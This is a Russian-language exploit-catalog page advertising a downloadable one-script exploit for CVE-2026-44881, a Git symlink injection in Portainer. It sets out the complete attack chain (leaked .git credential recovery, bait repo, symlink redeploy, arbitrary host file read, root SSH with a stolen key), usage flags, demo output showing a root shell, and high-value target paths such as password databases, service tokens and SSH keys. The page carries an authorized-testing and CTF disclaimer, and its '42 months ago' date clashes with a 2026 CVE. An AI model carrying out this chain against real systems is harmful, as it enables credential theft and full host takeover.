Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-44881_exploit — Односкриптовый эксплойт для CVE-2026-44881, который объединяет утечку учётных данных .git, внедрение Git-симлинков в Portainer, произвольное чтение файлов хоста и доступ по SSH для авторизованных тестов. | Kitploit
Инструменты/GitHubGitHub/0xdak/cve-2026-44881_exploit
Повышение привилегийБезопасность контейнеровАнализ уязвимостейЭксплуатацияЛатеральное перемещениеЭксплуатация веб-приложенийСбор информацииCTFТестирование на Проникновение

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Безопасность облачных сред
GitHub0xdak/cve-2026-44881_exploit

CVE-2026-44881_exploit

Односкриптовый эксплойт для CVE-2026-44881, который объединяет утечку учётных данных .git, внедрение Git-симлинков в Portainer, произвольное чтение файлов хоста и доступ по SSH для авторизованных тестов.

Репозиторий
42 месяцев назадЕщё не проверено

CVE-2026-44881 — Символическая ссылка Git в Portainer → Чтение произвольных файлов хоста

Эксплойт в виде одного скрипта для CVE-2026-44881 — инъекции символьных ссылок Git в процессе развертывания стеков Portainer, которая позволяет любому аутентифицированному пользователю с низкими привилегиями, имеющему права на создание стеков, читать произвольные файлы, доступные процессу Portainer.

Совет: GHSA-rpgq-m5fp-32wr Затронутые версии: Portainer CE 2.33.0 – 2.33.7, 2.39.0 – 2.39.1, 2.40.x Исправлено в: 2.33.8 (LTS), 2.39.2 (LTS), 2.41.0 (STS)

Как это работает

Уязвимость представляет собой комбинацию двух примитивов:

  1. go-git v5 преобразует записи дерева Git с режимом 0o120000 (символическая ссылка) в реальные символьные ссылки ОС во время git clone. Единственное заблокированное имя — .gitmodules; любой другой путь, включая docker-compose.yml, который Portainer считает точкой входа стека, может быть символьной ссылкой с произвольным относительным целевым путем.
  2. Service.GetFileContent (api/filesystem/filesystem.go) читает файл точки входа стека с помощью os.ReadFile, который прозрачно следует за символьными ссылками ОС. JoinPaths предотвращает ../ во входной строке, но никогда не вызывает filepath.EvalSymlinks, поэтому символьная ссылка, уже присутствующая на диске, благополучно разрешается в свой целевой объект.

Portainer обычно работает как root внутри своего контейнера (требуется для сокета Docker), поэтому зона действия примитива чтения — всё, что может видеть контейнер: обычно это /data/portainer.db (BoltDB с хешами паролей всех пользователей и всеми API-токенами), токены сервисных аккаунтов Kubernetes по пути /var/run/secrets/kubernetes.io/serviceaccount/token, секреты Docker Swarm по пути /run/secrets/, а в развертываниях, где файловая система хоста смонтирована с помощью bind-mount для мониторинга, — хостовая /etc/shadow, /root/.ssh/* и так далее.

Этот скрипт выстраивает цепочку:

root@kitploit:~
leaked .git on port 80
    → recover lowuser:password from commit history
        → Portainer login
            → create Git-backed stack with clean YAML        (validation passes, stack persists)
                → push symlink commit, trigger /git/redeploy (validation fails, working tree IS updated)
                    → GET /api/stacks/{id}/file              (returns symlink target's content)
                        → ssh -i stolen_key root@target

Использование

root@kitploit:~
./exploit.sh -t 192.168.1.27

Автоматически определяет IP атакующего из ip addr и предполагает, что .git доступен по адресу http://target/.git/. Вы можете переопределить любые параметры, не соответствующие вашему окружению:

root@kitploit:~
  -t, --target             IP цели (обязательно)
  -a, --attacker           IP атакующего, передаваемый Portainer для git-демона (определяется автоматически)
  -l, --leak-path          путь к утекшему каталогу .git (по умолчанию: /.git)
  -p, --portainer-port     HTTP-порт Portainer (по умолчанию: 9000)
  -g, --git-port           локальный порт git-демона (по умолчанию: 9418)
  -w, --workdir            рабочий каталог для временных файлов (по умолчанию: mktemp)
  -u, --user               пропустить перечисление .git; использовать это имя пользователя Portainer
  -P, --pass               пропустить перечисление .git; использовать этот пароль Portainer
      --no-creds-from-git  пропустить этап .git и требовать -u/-P
      --no-ssh             пропустить финальный шаг SSH
  -h, --help               показать эту справку и выйти

Демонстрация

root@kitploit:~
$ ./exploit.sh -t 192.168.1.27
[+] Target          : http://192.168.1.27:9000
[+] Attacker IP     : 192.168.1.34
[+] Workdir         : /tmp/cve44881-xxxx

=== Stage 1 — dump leaked /.git and recover creds ===
[+] git-dumper found, running it...
[+] git history:
    3a1f9e2 oops: remove creds from repo, rotate before prod
    b4c20a6 add trial onboarding env (temp, will move to vault)
    d09a875 init: portal landing + ops notes
[+] Recovered creds: lowuser / lowuser-c0ntain3r-2026

=== Stage 2 — Portainer auth ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Endpoint ID: 1

=== Stage 3 — host the bait Git repo on git://192.168.1.34:9418/repo.git ===
[+] git daemon up (pid 12345)

=== Stage 4 — create the Git-backed stack (clean YAML) ===
[+] Stack ID: 1

=== Stage 5 — push symlink commit + trigger redeploy ===
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}

=== Stage 6 — GET /api/stacks/1/file ===
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

=== Stage 7 — SSH in as root with leaked key ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9

=== Done — exploit complete ===

Требования

  • Bash, curl, jq, git (с git daemon), ssh
  • Рекомендуется: git-dumper — pipx install git-dumper. Скрипт включает встроенный минимальный dumb-HTTP-перечислитель, который обрабатывает простой случай loose-объектов, если git-dumper отсутствует, но для любого нетривиального утекшего каталога .git полный инструмент гораздо надёжнее.

Примечания

  • Скрипт предполагает, что bind-mount в лаборатории настроен как /:/mnt/host:ro, и читает /mnt/host/root/.ssh/id_rsa. Чтобы нацелиться на другие файлы, измените целевую символьную ссылку на этапе 5 (../../../mnt/host/root/.ssh/id_rsa). Portainer с помощью go-billy изолирует абсолютные символьные ссылки относительно рабочего дерева, поэтому целевой путь должен быть относительным.
  • Учетные данные, восстановленные из .git, действуют только в рамках Portainer — они не дают доступа к SSH или прямого доступа к хосту. Лаборатория настроена так, что единственный способ получить RCE на уровне хоста — через саму уязвимость CVE.
  • Этап переразвертывания ожидает, что Portainer ответит {"message":"stack config file is invalid"} — это валидатор жалуется, что SSH-ключ не является корректным YAML. К моменту запуска валидатора клон уже перезаписал рабочее дерево, что нам и нужно.

Лицензия

MIT. Только для авторизованного тестирования и использования в CTF / лабораторных работах.

Скачать инструмент